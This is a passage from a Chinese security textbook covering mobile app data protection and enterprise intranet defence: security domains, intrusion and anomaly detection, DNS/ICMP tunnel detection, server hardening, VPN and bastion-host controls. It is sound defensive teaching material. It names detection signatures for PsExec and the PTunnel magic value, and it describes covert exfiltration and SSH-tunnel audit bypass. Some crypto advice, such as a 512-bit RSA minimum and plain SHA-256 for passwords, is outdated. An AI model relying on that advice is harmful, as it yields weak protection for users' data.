行,检测是否安装Superuser.apk等。但实际情况是,Android碎片化非常严重,国产手机厂商特别喜欢修 改原生ROM,这会导致一些检测方法失效,需要关注。 4.签名验证 签名验证主要是为了防止二次打包,Android签名验证一般有三种方法: ·Java层验证,即在Java代码中实现公钥信息的比对,比对的样本可以放在本地或者服务器侧。但是 Java代码容易被反编译,这个校验逻辑可能被篡改。 ·NDK层验证,即在Native代码实现公钥信息的比对,比对的样本进行加密存储。我们知道so通过反 汇编生成的ARM代码,相对smali被篡改的难度更大,再结合so文件加固,可以进一步增强反编译难度。 ·服务端验证,即程序通过特定方法检测获取自身代码校验值,上送云端服务器进行比较,从而验证 合法性。这样针对那些非法或伪造、篡改过的客户端,服务端可以直接拒绝服务,进一步保障安全。 12.3.2 数据安全 针对APP,我们通常说的敏感信息包含两方面:一是用户敏感信息,比如用户名、密码、手机号、邮 箱、身份证、银行卡、住址等;二是APP本身的一些敏感信息,包括产品核心算法、核心业务逻辑、私 钥、本地存储的证书、加密算法等。这些敏感信息都需要在设计APP时考虑严格保护,在存储、使用、传 输过程中也要考虑保护方法。 1.数据存储安全 Android有外部存储和内部存储之分,外部存储安全隐患比较大,任何软件只需要在 AndroidManifest.xml中声明如下一行权限就可以在外部存储设备上读写。 <uses-permissionandroid:name="android.permission.WRITE_EXTERNAL_STORAGE"/> 笔者建议涉及用户隐私哪怕是已经加密过的也不要保存到外部存储设备上,还有一些APP会动态加载 一些外部资源,这些外部资源可能保存在外部存储上,建议在加载时验证文件完整性。在做代码审计的 时候,关注getExternalStorageState、getExternal-StorageDirectory等关键函数就能定位到APP使用外部存储 的代码逻辑。 内部存储是所有软件存放私有数据的地方,Android SDK中提供了openFileInput()与openFileOutput()方 法来读写程序的私有数据目录。openFileOutput()方法的第二个参数指定了文件创建模式,如果使用了 MODE_WORLD_READABLE或MODE_WORLD_WRITEABLE,就可能导致敏感信息泄露。 除了File方式外,Android还提供了Shared Preference、SQLite、ContentProvider方式进行数据存储。与 openFileOutput()方法一样,Shared Preference的getSharedPreferences方法打开文件时第二个参数如果设置 为MODE_WORLD_READABLE或MODE_WORLD_WRITEABLE都存在一样的问题。 相应的对策就是在使用openFileOutput()和getSharedPreferences()打开文件时,将第二个参数设置为 MODE_PRIVATE,这样就可以利用Linux的文件权限机制来确保数据不被其他进程访问。 注意: 单单依靠MODE_PRIVATE模式是不够的,因为可能我们的APP运行在一个已经被Root的手机上,或 者手机系统出现了一些漏洞导致进程可以提升权限,所以往往敏感数据会采取加密措施。 敏感数据需要保护,基本上都是加密处理,当然有一些场合如日志打印包括logcat不允许出现敏感信 息,这是常识,无需多言。Android SDK提供了一些API供加密使用,这些API和JAVA提供的基本相似, 由Java Cryptography Architecture(JCA,Java加密体系结构)、Java Cryptography Extension(JCE,Java加 密扩展包)、Java Secure Sockets Extension(JSSE,Java安全套接字扩展包)、Java Authentication and Authentication Service(JAAS,Java鉴别与安全服务)组成。 JCA提供基本的加密框架,如证书、数字签名、消息摘要和密钥对产生器等;JCE扩展了JCA,提供 了各种加密算法、摘要算法、密钥管理等功能;JSSE提供了基于SSL(安全套接层)的加密功能,供 HTTPS加密传输使用;JAAS提供了在Java平台上进行用户身份鉴别的功能,除此外,Android还提供了 android.security和android.security.keystore来管理keychain和keystore。 如果使用SQLite数据库的时候需要加密,可以使用SQLCipher方案。SQLCipher是个独立的SQLite数 据库实现,但它并没有自己实现一套加密算法,而是使用了OpenSSL的libcrypto库,兼容性更好。 关于加密算法的选择和使用,业界有如下安全建议: ·base64只是一种编码方式,并不是加密算法。 ·生成随机数时,不要使用Random类,使用SecureRandom类的时候,不要调用setSeed方法,即不要 设置种子。 ·使用HASH算法时,不要使用MD2、MD4、MD5、SHA-1、RIPEMD算法来加密用户密码等敏感信 息,因为网上有大量的库可以用来破解,建议使用SHA-256、SHA-3算法。 ·使用消息认证算法时,建议使用HMAC-SHA256算法,避免使用CBC-MAC。 ·使用对称加密算法时,不建议使用DES,建议使用AES算法,同时需要注意加密模式要显式指定为 CBC或CFB模式,不要使用默认的ECB模式。 ·非对称算法使用RSA时,建议密钥长度不低于512,同时注意重放攻击。 ·使用基于口令的加密算法PBE时,生成密钥时要加盐,盐的取值最好来自SecureRandom,并指定迭 代次数。 关于密钥保护,直接明文写在配置里肯定是不行的;硬编码在Java代码中通过dex也容易逆向;将密 钥放在so文件里也还是面临IDA破解。为了保护密钥,各种千奇百怪的方法都有了,比如将一部分写到文 件中,一部分写在Java代码或C层代码,这只是在一定程度上增加了逆向难度而已。有的利用so将密钥再 进行二次加密保护,那这一层的密钥保护又是一个问题。针对这些问题,不得不提一下白盒加密技术。 白盒加密属于对称加密,通过将算法和密钥紧密捆绑在一起,由算法和密钥生成一个加密表和一个解密 表,然后可以独立用查找加密表来加密,用解密表来解密,不再依赖于原来的加解密算法和密钥。正是 由于算法和密钥的合并,所有可以有效隐藏密钥,与此同时也混淆了加密逻辑。 2.数据传输安全 一般客户端使用HTTPS与服务端进行通信,网站启用SSL site wide(use HTTPS only)或HSTS(HTTP Strict Transport Security),否则存在SSL Strip(HTTPS降级为HTTP)攻击风险。由于前面在12.2.6节中讲 过相关的问题及对策,这里就不再过多重复。对于敏感信息,建议除了HTTPS传输加密外,还需要在应 用中进行加密保护,多一层保障。 12.3.3 其他话题 1.安全输入键盘 智能手机输入需要依靠虚拟键盘,而虚拟键盘则由具体使用的输入法控制。金融行业APP,密码往往 涉及金钱,为了确保输入安全,一些企业会自行开发安全输入键盘,图12-4为某行APP的安全键盘效果 图。 这样当用户输入密码的时候,处于自行开发的密码键盘保护之下,确保用户密码安全。当然除了密 码,还有其他的输入数据也需要保护,图12-5是某行APP的安全键盘在输入身份证时的效果图。 注意这上面的键盘数字布局,是随机的,每次都会变化。什么时候随机,什么时候不随机,需要在 用户体验和安全之间进行权衡。 2.防截屏 为了防止恶意软件通过秘密截屏的方式得到一些APP上显示的信息,就需要对截屏进行处理。 Android系统没有提供对截屏事件监听的接口,也没有提供对应的广播,现在主流的思路是,基于截屏中 所做的动作针对性地进行检测,比如,利用FileObserver监听某目录资源变化,利用ContentObserver监听 全部资源变化,利用Activity.onPause()机制等。当发现有截屏时做一些处理,比如用纯黑色图片对象进行 覆盖处理。 图12-4 安全输入键盘例1 图12-5 安全输入键盘例2 除此之外,Android提供了一个对应的API,直接禁用截屏功能,只需要获取到相应的Window对象, 给其添加一个FLAG_SECURE的flag即可。注意这个FLAG_SECURE是应用在Window对象上的,如果 Activity有一些弹窗或突出的UI元素可能不受它保护,需要再单独设置。 3.钓鱼APP 钓鱼APP问题在早些年比较多,随着恶意APP越来越多,为规范并促进Android APP安全加固领域的 健康发展,CNCERT牵头制定了通信行业标准2015-0217T-YD《移动互联网应用程序安全加固能力评估要 求与测试方法》,这个标准对提供Android APP加固服务的系统提出了以下要求: ·禁止对恶意APP进行加固。 ·要求对APP加固提交者进行身份验证。 ·要求具备对加固前APP进行追查的能力。 通过对加固服务提供商进行规范来防止钓鱼APP,是一个不错的思路。 12.4 小结 本章针对移动应用安全问题从开发安全、业务安全的视角进行了讨论,希望读者阅读完能对移动应 用安全有一个基本的认识,对技术细节感兴趣的读者可能还需要进一步阅读更专业的书籍进行提升。 第13章 企业内网安全 企业出于不同安全防护等级的考虑,一般都会将内网划会为办公网、生产网、测试网、互联网、外 联网等不同的区域,之间通过防火墙进行隔离。 本章会先从基础的安全域开始讨论,然后对终端、网络、服务器和重点应用进行阐述,最后会针对 漏洞、蜜罐这两个话题单独展开。 13.1 安全域 网络安全域是指同一系统内有相同的安全保护需求,相互信任,并具有相同的安全访问控制和边界 控制策略的子网或网络,相同的网络安全域共享一样的安全策略。广义的安全域是指具有相同业务要求 和安全要求的IT系统要素的集合。IT系统要素包括网络区域、主机和系统、物理环境、人和组织、策略 和流程,因此不能将安全域仅仅理解为网络安全域。 安全域的划分使整体网络有了清楚的规划,具有以下实际的目标: ·使整体网络结构清晰。 ·使具有相同安全防护要求的网络和系统处于同一安全子域中。 ·不同安全子域内可方便地部署不同等级的安全防护策略。 ·同一安全域内可方便地部署相同等级的安全防护策略。 ·各区域防护重点明确,将有效的安全资源投入到最需要保护的资产上。 ·建立内部互连区和外部互连区的边界接口,统一规划网络层接口,便于新增系统的接入,有利于网 络的有序扩展。 ·使数据流简洁规范,有利于区分不同种类数据流,便于实施安全访问控制和QoS服务。 安全域的理论和方法所遵循的根本原则如下: ·业务保障原则。安全域方法的根本目标是能够更好地保障网络上承载的业务。在保证安全的同时, 还要保障业务的正常运行和运行效率。 ·结构简化原则。安全域方法的直接目的和效果是要将整个网络变得更加简单,简单的网络结构便于 设计防护体系。 ·等级保护原则。安全域的划分要做到每个安全域的信息资产价值相近,具有相同或相近的安全等 级、安全环境、安全策略等。 ·立体协防原则。安全域的主要对象是网络,但是围绕安全域的防护需要考虑在各个层次上立体防 守,包括物理、网络、系统、应用、数据等层次;同时,在部署安全域防护体系的时候,要综合运用身 份鉴别、访问控制、检测审计、链路冗余、内容检测等各种安全方法实现协防。 ·生命周期原则。对于安全域的划分和布防不仅要考虑静态环境,还要考虑不断发生的变化;另外, 在安全域的建设和调整过程中要考虑工程化管理。 ·资源整合原则。在保障安全的前提下安全域的划分要有利于实现IT资源整合,应充分实现IT资源的 共享和复用。 安全域的划分是一个既非常基础又非常重要的工作,企业按自己的实际情况划分不同的安全域,同 时还需要制定各安全域的安全策略并加以实现。表13-1将办公网和业务网进行了梳理,其他安全域也可以 参照并建立类似的安全策略表。 表13-1 办公网和业务网的安全策略表 对不同安全域间的访问,通过部署各类安全解决方案,实现阻断、检测和过滤等功能,为上层安全 防护功能的实现提供保障。 13.2 终端安全 内网终端是我们日常工作接触最多的设备,也是企业内网安全防护需要重点关注的战场之一。终端 用什么样的操作系统,允许安装什么样的软件,系统和软件补丁怎么打,用户的权限是管理员还是普通 用户,必须满足什么条件才允许接入内网,满足什么条件才允许访问互联网,恶意软件查杀,各种外设 管控等等,都是终端安全领域不可回避的话题,也有很多基础的工作要做。有些企业采用各种封堵的技 术方案来控制,比如,终端电脑不允许上外网、不允许使用U盘、外发邮件需要审批等;还有的企业考虑 到人力成本,往往将一些基础工作外包出去,普通用户没有管理员权限,需要安装软件时会有专门的人 提供支持。我们不去评判其好坏优劣,毕竟鞋子合不合脚只有自己才知道。 终端安全涉及资产管理、补丁管理、终端准入、防病毒、外设管控、上网行为管理等诸多内容,每 一个话题又是一个细分的领域。对企业敏感数据保护有要求的企业,往往在终端上还会部署一些文档加 密、DLP类的程序。终端标准化做得不好的企业,可能终端上的环境非常复杂,尤其是安全软件相互“打 架”产生的兼容性问题。为了不陷入其中,我们以攻击者的视角,来看终端安全需要关注的技术点。注意 这里有一个假设的前提:终端资产的重要性(包括拥有的数据价值)远不如后台服务器,所以攻击者往 往都会以终端为跳板进行深入。我们以图13-1所示的终端安全为例进行分析。 图13-1 终端安全威胁 终端在办公网前台区域,存在的风险主要包括以下几个场景: 场景一 终端用户私接U盘,U盘所带的木马病毒在办公网中传播,进一步感染办公网后台重要服务 器。 场景二 终端用户通过3G上网卡或随身WiFi设备私接互联网,无意感染病毒被黑客远程控制,黑客 以此为跳板进一步侵入企业内部。 场景三 终端用户通过上网防火墙访问互联网,无意感染病毒被黑客远程控制,黑客以此为跳板进 一步侵入企业内部。 针对场景一,我们的对策是:操作系统基线配置,不允许应用程序直接从U盘、光盘自动启动,结合 防病毒软件进行查杀。针对场景二,我们的对策是:结合终端外设管理封禁无线、蓝牙等功能,防止非 法外连,同时在终端上部署外连探测程序,检测网络连通性以发现非法外连的可疑行为。针对场景三, 我们的对策略是:上网通过沙盒虚拟桌面上网,结合上网行为、下一代防火墙对恶意域名、地址及恶意 文件进行拦截。当然,用户访问的恶意URL可能来自于邮件系统,可以在邮件系统中提前干预,不让这 类URL来到终端。 如果那个假设前提不成立,即终端上有比较重要的数据,除了上面提到的对策使之进不来、带不走 之外,最好还要对数据进行脱敏、加密处理,对敏感数据的外发进行拦截等,这样,即使终端被控制 了,重要数据也能得到保护。关于数据安全这个话题,我们将在第14章进行阐述。 在企业中,有一些特殊终端电脑需要关注,往往其使用者身份较高,安全执行不到位或者执行困难 的企业,往往对这类人采取比较宽松的管理方案,比如可以直接上网,不受限制等。而恰恰是这类终端 电脑,其上面的资料可能比普通员工的重要很多,所以需要重点关注。为其设置特殊的网段使之与其他 终端隔离,在该网段部署蜜罐,对进出该网段的流量进行重点监控,对此类人员的入站邮件内容进行更 多层的分析,同时在SOC里将此类资产重点标记,机器上所产生的安全事件风险等级提升一个级别,这 些都是应对之策。 现在,针对终端安全有些厂商整合了各种功能,信誉库、云查杀、情报、EDR等等,往往意味着终 端要使用这些功能,还得在网络上部署沙箱、内部情报库等,企业在选择的时候需要结合自己的实际情 况考虑。 13.3 网络安全 网络安全涉及面非常广,有一些基础的安全加固配置,比如交换机上启用port-security、BPDU-Guard 等防护机制,对未使用的接口默认全shutdown,使用AAA认证技术,防火墙上开启默认any any drop策略 等;也有一些专门的技术或解决方案,如NGFW、NIDS等。 企业在划分了安全域后,不同域之间需要通过VLAN、ACL、防火墙等技术进行隔离。而安全域控制 仅能依照安全策略进行部署实施,但是即使符合安全策略的网络访问,仍可能存在恶意的网络访问行 为。同时,安全策略在不断运营调整过程中,也可能存在失效的情况,如何及时发现这种隔离失效也是 一个问题。因此,针对上面这两种情况,我们应能具备一定的检测甚至阻断的能力。常规思路是在实施 网络隔离(VLAN、NACL、防火墙等)外,还需要对其进行流量分析(基于特征的NIDS、基于黑白名单 及模型的异常访问检测系统等),以便发现异常。除了被动检测外,还可以主动扫描,以发现ACL失效 的情况。另外,在网络中适当地部署蜜罐,也能发现一些恶意行为,甚至包括同一个安全域内的恶意行 为。蜜罐可部署在终端上,也可以部署在后台服务器上,用来发现网络上的扫描、探测等行为,我们将 在13.7节中阐述。 13.3.1 网络入侵检测系统 网络入侵检测系统,无论开源还是商业都有不错的选择。Snort是一个具有代表性的开源NIDS,网上 也有较多的中文资料和配套的辅助工具,如SnortSnarf、ACID等。开源IDS除Snort外,还有Bro可选,Bro 事件生成引擎中实现的应用层协议功能比Snort多,并且提供用于对事件做深入分析的策略脚本。开源的 缺点是相对麻烦,先要对其有深入的理解,然后再学习其语法定制相应的规则,对安全人员的要求较 高。在安全人员能力和数量有限的企业里,还是建议使用商业产品,性能是个很大的优势,商业产品的 支持会比使用开源方案更有保障;如果需要满足特定场景而定制规则,商业产品也可以进行定制;产生 安全事件后,商业产品还会保留对应的数据包以供进一步分析。例如,内网渗透常用的PsExec工具,首 先防病毒一般不会查杀,因为它是Sysinternals系列的一个工具,但如果我们需要发现这种行为,可以在 终端上检测PsExec进程的运行(进程可以改名,MD5也会随着版本不同而不同),也可以在目标机器上 检测PSEXESVC服务的创建(服务名在高版本的PsExec里可以用户指定),还可以在网络上使用特征进 行匹配。 当然,具体到这一个特征,很容易规避,甚至新版PsExec直接提供了-r参数让用户自定义。一般的做 法是通过各种测试分析数据包,提取最稳定的特征,或者多取一些特征,比如流量中返回的一些版权或 说明(如Execute Processes remotely),或者直接在SMB协议中看是否返回一些shell提示符等,具体就不 再展开讲了。 在实际的运营过程中,需要关注流量镜像是否有效,流量是否缺失,自动化的验证事件是否正常触 发等。 13.3.2 异常访问检测系统 有些请求不会匹配IDS策略,比如从分支机构远程桌面访问总部的一台机器,看似一个正常的登录操 作,但可能违反了企业内部安全策略,这时候可以借助异常访问检测系统进行检测。 基于黑白名单策略及模型的异常访问检测系统就是一个例子。基于黑白名单策略好理解,比如不允 许办公前台网段直接远程桌面或SSH登录到办公后台服务器网段,除了应急需要保留几个固定的IP之外, 需要设置一个白名单和黑名单。 除了传统的黑白名单策略外,分析网络访问上的异常还有两个切入点: ·基于访问路径的异常。比如,历史上A和B经常访问C的1433端口,突然有一天D也来访问C的1433端 口,这在历史记录中是从来没有的,因此就算一个访问路径上的异常。 ·基于访问频率的异常。比如加入域的办公电脑每天访问域进行认证的次数为个位数,突然某天一个 IP不断地向域进行认证尝试,超过我们系统设置或者学习到的阈值,这就算一个访问频率的异常。 拿到网络流量后,我们按时间、源IP、源端口、目标IP、目标端口、应用协议这六个元素来标识访问 关系及统计访问频率,通过自学习模式生成白名单和profile规则,按照我们的管控规则自定义黑名单,对 后续流量按照白名单、黑名单、profile规则的顺序进行匹配,对高风险事件进行实时告警。系统的处理逻 辑如图13-2所示。 图13-2 异常访问检测架构 频度分析在黑白名单策略匹配之前进行,频度是针对所有的事件进行分析,先通过设置阈值来定义 频度,当超过阈值时会产生相应的频度异常告警事件;同时事件会继续经过白名单、黑名单、profile的处 理引擎,命中白名单的忽略,命中黑名单的产生异常流量告警事件,命中profile的忽略,未命中profile的 则会产生未知流量预警事件。在实际的黑白名单策略设置过程中,主要考虑以下三类情况: ·跨区域的访问,比如,办公网和业务网之间的访问,总部与分行之间的访问,无线网段与办公网段 之间的访问,内网与外联单位之间的访问,DMZ区域主动外连访问等。 ·重点资产的监控,比如,域控、补丁升级服务器、堡垒机、网络设备、重要领导电脑、大数据平 台、征信系统等针对性的策略。 ·特殊协议监控,比如,远程桌面运行在非3389端口,SSH协议运行在非22端口,内网PPTP、L2TP、 VNC、PCAnywhere等协议运行在网络上等。 13.3.3 隐蔽信道检测系统 除了上面讲到的几个点,还有一个不可回避的问题,就是隐蔽信道的检测与阻断。很多企业在防火 墙上对Ping、DNS都是不做限制的,甚至个人PC及后台服务器均能Ping通互联网,如图13-3中路径①所 示。 图13-3 DNS Tunnel与Ping Tunnel 图13-3中,路径①存在一定的风险,黑客能通过ICMP协议的缺陷,将需要窃取的数据分片封装到 ICMP协议的Payload中,通过不断地发送Ping包,窃取信息。同样原理,图13-3中的路径②,黑客也可能 利用DNS协议的缺陷,将需要窃取的数据分片封装到DNS协议的Payload中,通过不断地发送DNS请求, 窃取信息。 ICMP协议格式如下: DNS协议格式如下: 针对此类问题,建议的解决方案如下: 1)在IDS、IPS上检测异常的ICMP、DNS协议包。此种方式的有效性依赖于特征库。针对黑客常用 的工具进行研究分析,定制出特征库是一个方法,比如PTunnel代码里就有个magic,如图13-4所示。 图13-4 PTunnel Magic Code 如果命中0xD5200880这个特征的ICMP包,肯定有问题。当然,如果黑客修改这个magic值再编译就 不行了,还得继续找其他的特征。 2)监控数据包的发送频率。对于ICMP协议,正常业务场景下不会持续不断地发送Ping数据包,如果 发现有短时间内不断发送Ping包请求的,都可以作为可疑事件进行排查。由于终端上DNS请求数据包较 多,而且每个用户的使用习惯不同,此方法不适用于DNS Tunnel的检测。 3)异常包大小检测。对于ICMP协议,在Windows操作系统中默认包大小为32字节,SUSE Linux操作 系统中默认包大小为56字节。其最大数据包大小遵循IP协议规定,为65500字节。可以在防火墙上设置一 个ICMP数据包大小的阀值,超过的ICMP包直接丢弃并报警。在RFC 1035中,对于DNS的UDP数据包原 始大小做了限制,但可通过DNS的扩展名机制(EDNS0),允许DNS请求者公布其UDP数据包的大小, 并且传输大于512字节的数据包。黑客也常利用此方式,将需要窃取的数据封装到DNS大数据包中。因 此,可以在防火墙上针对DNS的UDP长度大于512或TCP包长度大于1024的约定进行丢弃并报警。 4)防火墙上只允许DNS请求到外网指定的DNS服务器,比如省localDNS或者114.114.114.114;有条 件的企业还可以针对DNS协议中的TXT和NULL类型的记录进行阻断。注意有些场景也需要使用TXT记 录,比如邮件方面会用到SPF等,有些厂商查询情报也用此方法。 以上各种手段有一定的效果,但无法完全阻拦有耐心的黑客。一些企业开始将目光放到大数据、机 器学习方面,通过对DNS、ICMP请求使用各种模型进行分析,以期发现异常。机器学习需要大量的日志 样本,目前此类方案在企业实际环境中的效果有待观察。 13.4 服务器安全 服务器与终端环境有个明显的不同—服务器需要对外提供服务,会有大量的应用程序来访问,但人 在上面的操作却非常少。 1.基础安全配置 首先要做的就是一些基础的安全配置工作,相信每个企业都会有Windows服务器配置和管理规范、 Linux服务器配置和管理规范之类的文档,网上也有很多资料可供参考。 Windows服务器的安全加固一般有以下几个要点: ·安装时磁盘分区选用NTFS,各种文件权限控制需要依靠它。 ·网络连接的TCP/IP协议“属性”中,配置“禁用TCP/IP上的NetBIOS”,少量特殊应用可能需要。 ·服务器加入域,便于域统一管理安全策略。 ·安全策略需要包括账户策略(密码策略、账户锁定策略、Kerberos策略)、本地策略(审核策略、 用户权限分配、安全选项)等内容。 ·事件日志,需要调整最大日志文件大小。 ·系统服务配置,禁用不必要的服务,比如Alerter、Browser、Messenger、Shell-HWDetection、 AudioSrv、WinHttpAutoProxySvc、PimIndexMaintenanceSvc、dmwappushsvc、MapsBroker、Ifsvc、 wlidsvc、NgcSvc、NgcCtnrSvc、RmSvc、SensorDataService、SensrSvc、SensorService、SSDPSRV、 WiaRpc等。 ·开启高级审核策略,对账户登录、账户管理、登录/注销、策略更改、特权使用、系统等进行配置。 ·关闭自动播放,启用密码保护的屏幕保护,关闭自动产生互联网访问流量的功能,安装防病毒及所 需要的安全软件。 Linux服务器的安全加固一般有以下几个要点: ·物理安全相关设置,禁用USB存储设备,添加GRUB密码,禁止Ctrl+Alt+Del直接重启服务器。 ·文件系统挂载设备,对/tmp和/var分区增加nodev和nosuid选项,对/home分区增加nosuid选项。 ·对一些系统文件设置权限,包 括/etc/crontab、/etc/securetty、/boot/grub/grub.conf、/etc/inittab、/etc/login.defs等。 ·关闭一些不必要的服务,包括cups、postfix、pcscd、smartd、alsasound、iscsitarget、smb、acpid等。 ·开启命令记录时间截,并将一些与命令记录相关的参数设置为readonly。 ·开启日志及audit审计功能,配置监控规则,同时设置syslog转发将日志送到SOC。 ·口令策略设置,包括口令复杂度、有效期,同时设置超时自动退出、密码尝试次数过多锁定。 ·对SSHD进行安全配置(最大重试次、禁用Rhosts认证、指定密码类型、指定MAC算法),同时删 除RHOST相关的各种文件。 ·调整一些内核参数,禁用LKM,限制/dev/mem,开启ALSR,禁用NAT功能。 很多企业开始大量使用虚拟机技术,于是很多安全加固配置可以直接做到模板里,这样新生成的虚 拟机就自动具有这些安全配置,再辅助一些运维自动化工具对安全基线配置进行检查,对发现的问题安 排跟进处理。 2.入侵防护检测 安全基线配置是一个基础,但企业内网服务器毕竟对外提供各种服务,这些应用本身的安全性也会 影响服务器本身的安全。从WebServer到开发框架,再到后端数据库,都可能会被攻击者搞定;另外,服 务器上可能除了Root之外还会给开发人员或者应用建有相应的账号,这些账号的密码如果泄露也会影响 服务器的安全。弱口令不仅是123456之类的,有些企业的口令会有一些规律,比如Baidu@201X这样的, 可能一定程度上匹配了系统密码复杂度,但别有用心的人可能很容易就将密码拿到手了。所以,还需要 在安全基线配置外,有一定的入侵防护检测手段。 一种思路是在服务器上安装类似HIDS的产品,开源的有OSSEC,商业的也有不少产品。前面我们说 过OSSEC有瑕疵,但这个产品的框架和思路确实值得学习,rules目录下有大量的xml规则,在理解其规则 写法后,安全人员很轻松就能编写自己的规则对特定的场景进行检测。如图13-5所示的规则。 图13-5 OSSEC Rule 编号31315的规则是发现有匹配密码出错的字样,而31316规则是在31315规则命中的基础上增加了频 度,代表发现了短时间内多次验证失败的事件。同样,Windows下的Sysmon也是基于规则进行匹配和过 滤,其能记录的事件类型如图13-6所示。 Sysmon的规则相对简单,每个ID对应一类事件,可以exclude排除也可以include包含组合运用,内置 条件也比较丰富,如图13-7所示。 图13-6 Sysmon Event ID 图13-7 Sysmon Rule 依靠此类程序,我们在机器上收集了各种各样的事件,接下来需要统一送往SOC平台,在上面定制 相应的CASE并产生告警。另外,针对应用日志(比如IIS日志),甚至应用程序本身的日志,也可以通过 类似Flume类程序采集到大数据平台,便于进一步分析。 13.5 重点应用安全 在企业内网中,有一些重点应用的安全需要特别关注,例如,活动目录、邮件系统、VPN、堡垒机 等。活动目录安全和邮件安全,我们将在第17章和第16章中进行详细阐述。 1.活动目录 活动目录服务器是办公网中最重要的服务器之一,网上各种有关内网渗透的技术文章都会涉及,所 以需要重点关注,尤其是域管理员账号的管理。域管理员账号如果在其他机器上登录过(比如管理员给 普通用户安装软件),一旦这台机器被控制,通过执行特定程序读取内存即可获取域管理员的账号和密 码。域管理员账号密码一旦被拿下,意味着整个内网几乎全部沦陷。关于活动目录安全涉及比较多的内 容,我们将在第17章进行阐述。 2.邮件系统 邮件系统一般部署在互联网DMZ区,它需要接收外来的邮件,同时将邮件发送到外网的邮箱,但对 企业员工来讲,邮件系统可能更类似于一个OA系统的内部平台。邮件系统主要两类安全问题:一类是入 站邮件中的恶意URL或附件;一类是出站邮件中可能包含敏感数据,例如客户资料。关于邮件安全和数 据安全的话题,我们将在第16章进行阐述。 3.VPN 有些企业为了方便员工远程办公,采用了VPN方案。VPN的英文全称是“Virtual Private Network”, 即“虚拟专用网络”。顾名思义,虚拟专用网络可以理解为虚拟出来的企业内部专线。虚拟专用网被定义 为通过一个公用网络(通常是因特网)建立一个临时的、安全的连接,是一条穿过混乱的公用网络的安 全、稳定的隧道。虚拟专用网是对企业内部网的扩展。虚拟专用网可以帮助远程用户、公司分支机构、 商业伙伴及供应商公司的内部网建立可信的安全连接,并保证数据的安全传输。虚拟专用网可用于不断 增长的移动用户的全球因特网接入,以实现安全连接;可用于实现企业网站之间安全通信的虚拟专用线 路,用于经济有效地连接到商业伙伴和用户的安全外联网虚拟专用网。 目前VPN主要采用四项技术来保证安全,这四项技术分别是隧道技术(Tunneling)、加解密技术 (Encryption&Decryption)、密钥管理技术(Key Management)、使用者与设备身份认证技术 (Authentication)。 ·隧道技术是VPN的基本技术,类似于点对点连接技术,它在公用网建立一条数据通道(隧道),让 数据包通过这条隧道传输。隧道是由隧道协议形成的,分为第二、三层隧道协议。第二层隧道协议是先 把各种网络协议封装到PPP中,再把整个数据包装入隧道协议中。这种双层封装方法形成的数据包靠第二 层协议进行传输。第二层隧道协议有L2F、PPTP、L2TP等。L2TP协议是目前IETF的标准,由IETF融合 PPTP与L2F而形成。第三层隧道协议是把各种网络协议直接装入隧道协议中,形成的数据包依靠第三层 协议进行传输。第三层隧道协议有VTP、IPSec等。IPSec(IP Security)是由一组RFC文档组成,定义了 一个系统来提供安全协议选择、安全算法、确定服务所使用密钥等服务,从而在IP层提供安全保障。 ·加解密技术是数据通信中一项较成熟的技术,VPN可直接利用现有技术。 ·密钥管理技术的主要任务是如何在公用数据网上安全地传递密钥而不被窃取。现行密钥管理技术分 为SKIP与ISAKMP/OAKLEY两种。SKIP主要利用Diffie-Hellman的演算法则,在网络上传输密钥;在 ISAKMP中,双方都有两把密钥,分别用于公用、私用。 ·身份认证技术最常用的是使用者名称与密码、卡片式认证等方式。 真实的VPN入侵案例,往往都是从弱口令、暴力猜解、心脏滴血漏洞开始的。心脏滴血漏洞好解 决,升级对应的OpenSSL库就好了,而弱口令和暴力猜解,则需要VPN产品本身来解决。另外,针对暴 力猜解,有一种思路是监测VPN的认证日志,当发现短时间内有大量失败时可以进行一定的锁定IP或账 号的处理。以PPTP为例,笔者曾经在某互联网公司,结合开源代码实现了一套动态口令VPN系统,其思 路即是PPTPD+FreeRadius+MySQL的方案,通过修改FreeRadius认证代码,每个用户在后台数据库保存一 个PIN码,只有用户自己知道,而当用户登录认证失败的时候,系统只将当前动态口令以短信方式发送给 用户,用户通过组合PIN码+动态口令来实现登录。针对暴力破解问题,每个用户只能尝试3次,否则后面 不再发送短信。 有的企业将安全控制得比较好,VPN账号默认都停用,当需要VPN时联系后台人员核实身份后做到 一键开启,前提是7×24小时都有人在。没有7×24小时条件的企业,也不是没有方法,比如,在企业移动 APP里通过认证(短信、指纹、人脸识别)后自助开启VPN服务也是一种思路。 4.堡垒机 堡垒机,是指在一个特定的网络环境下,为了保障网络和数据不受来自外部和内部用户的入侵和破 坏,运用各种技术手段实时收集和监控网络环境中每一个组成部分的系统状态、安全事件、网络活动, 以便集中报警、记录、分析、处理的一种技术手段。从功能上讲,它综合了核心系统运维和安全审计管 控两大主干功能;从技术实现上讲,通过切断终端计算机对网络和服务器资源的直接访问,而采用协议 代理的方式,接管了终端计算机对网络和服务器的访问。 市面上的堡垒机产品挺多,一些互联网公司也定制开发了自己的堡垒机。堡垒机后端要登录的目标 对象主要是Windows和Linux机器;而在金融企业里,堡垒机还可能需要支持AIX、OS390、AS400主机。 商业堡垒机产品一般都会有上收服务器的用户密码,然后实现自动登录的功能,这中间涉及用户和 密码的代填,常常会出现几类安全问题: ·客户端进程在执行过程中的参数包含用户、密码信息,可能会被本地操作人员发现。 ·明文传输的通信协议,特别是RDP转接过程中容易出现。 ·服务器的用户密码虽然加密保存在后台,但前台需要解密才能实现代填,如果密钥写死在程序中, 经过简单的逆向还原即能发现。 有些堡垒机使用开源代码进行简单修改来实现,但SSH的跳转还是利用系统默认的SSH,那就存在绕 过Passcode或操作记录审计的风险,比如,利用SSH的Port Forwarding建立隧道,利用SSH执选择命令的 功能,甚至直接本地提权拿到Root权限等。 还是那句话,商业产品的问题,需要找厂商解决,而自己用开源代码实现的,坑还得自己填,最怕 的是被绕过了还不知道。堡垒机上SSH不需要那么多功能,我们可以对它进行剪裁,比如,ssh.c代码如 下: case 'L': if (parse_forward(&fwd, optarg, 0, 0)) add_local_forward(&options, &fwd); else {fprintf(stderr,"Bad local forwarding specification '%s'\n",optarg); exit(255);} break; case 'R': if (parse_forward(&fwd, optarg, 0, 1)) {add_remote_forward(&options, &fwd);} else {fprintf(stderr, "Bad remote forwarding specification " "'%s'\n", optarg); exit(255);} break; case 'D': if (parse_forward(&fwd, optarg, 1, 0)) {add_local_forward(&options, &fwd);} else {fprintf(stderr, "Bad dynamic forwarding specification " "'%s'\n", optarg); exit(255);} break; 一看就知道其对应的SSH的几个参数是做SSH Tunnel的,在这里可以直接“干掉”,也可以改为记录相 关操作看是否有人恶意利用,代码如下所示: //add syslog by xysky #include <syslog.h> case 'R': //deny by xysky openlog("ssh_sec", LOG_PID, 